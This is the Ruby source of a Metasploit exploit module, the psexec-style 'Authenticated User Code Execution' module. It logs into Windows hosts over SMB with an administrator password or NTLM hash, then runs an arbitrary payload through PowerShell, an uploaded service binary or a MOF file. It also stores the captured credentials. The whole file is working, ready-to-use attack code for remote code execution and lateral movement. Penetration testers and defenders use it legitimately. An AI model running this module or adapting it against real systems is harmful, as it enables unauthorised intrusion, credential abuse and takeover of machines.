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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# Windows XP systems that are not part of a domain default to treating all
# network logons as if they were Guest. This prevents SMB relay attacks from
# gaining administrative access to these systems. This setting can be found
# under:
#
# Local Security Settings >
# Local Policies >
# Security Options >
# Network Access: Sharing and security model for local accounts
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::SMB::Client::Psexec
include Msf::Exploit::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Authenticated User Code Execution',
'Description' => %q{
This module uses a valid administrator username and password (or
password hash) to execute an arbitrary payload. This module is similar
to the "psexec" utility provided by SysInternals. This module is now able
to clean up after itself. The service created by this tool uses a randomly
chosen name and description.
},
'Author' =>
[
'hdm',
'Royce Davis <rdavis[at]accuvant.com>', # (@R3dy__) PSExec command module
'RageLtMan <rageltman[at]sempervictus>' # PSH exploit, libs, encoders
],
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
'WfsDelay' => 10,
'EXITFUNC' => 'thread'
},
'References' =>
[
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
[ 'OSVDB', '3106'],
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ],
[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ],
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ]
],
'Payload' =>
{
'Space' => 3072,
'DisableNops' => true
},
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[ 'Automatic', { } ],
[ 'PowerShell', { } ],
[ 'Native upload', { } ],
[ 'MOF upload', { } ]
],
'DefaultTarget' => 0,
# For the CVE, PsExec was first released around February or March 2001
'DisclosureDate' => 'Jan 01 1999'
))
register_options(
[
OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])
])
register_advanced_options(
[
OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil])
])
end
def native_upload_with_workaround
# Avoid implementing NTLMSSP on Windows XP
# https://seclists.org/metasploit/2009/q1/6
if smb_peer_os == "Windows 5.1"
connect(versions: [1])
smb_login
end
native_upload(datastore['SHARE'])
end
def exploit
print_status("Connecting to the server...")
connect(versions: [2,1])
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
smb_login
if not simple.client.auth_user and not datastore['ALLOW_GUEST']
print_line(" ")
print_error(
"FAILED! The remote host has only provided us with Guest privileges. " +
"Please make sure that the correct username and password have been provided. " +
"Windows XP systems that are not part of a domain will only provide Guest privileges " +
"to network logins by default."
)
print_line(" ")
disconnect
return
end
if datastore['SMBUser'].to_s.strip.length > 0
report_auth
end
case target.name
when 'Automatic'
if powershell_installed?(datastore['SHARE'], datastore['PSH_PATH'])
print_status('Selecting PowerShell target')
execute_powershell_payload
else
print_status('Selecting native target')
native_upload_with_workaround
end
when 'PowerShell'
execute_powershell_payload
when 'Native upload'
native_upload_with_workaround
when 'MOF upload'
mof_upload(datastore['SHARE'])
end
handler
disconnect
end
def report_auth
service_data = {
address: ::Rex::Socket.getaddress(datastore['RHOST'],true),
port: datastore['RPORT'],
service_name: 'smb',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_data: datastore['SMBPass'],
username: datastore['SMBUser'].downcase
}
if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'
credential_data.merge!({
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: datastore['SMBDomain']
})
end
if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
credential_data.merge!({:private_type => :ntlm_hash})
else
credential_data.merge!({:private_type => :password})
end
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
access_level: 'Admin',
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end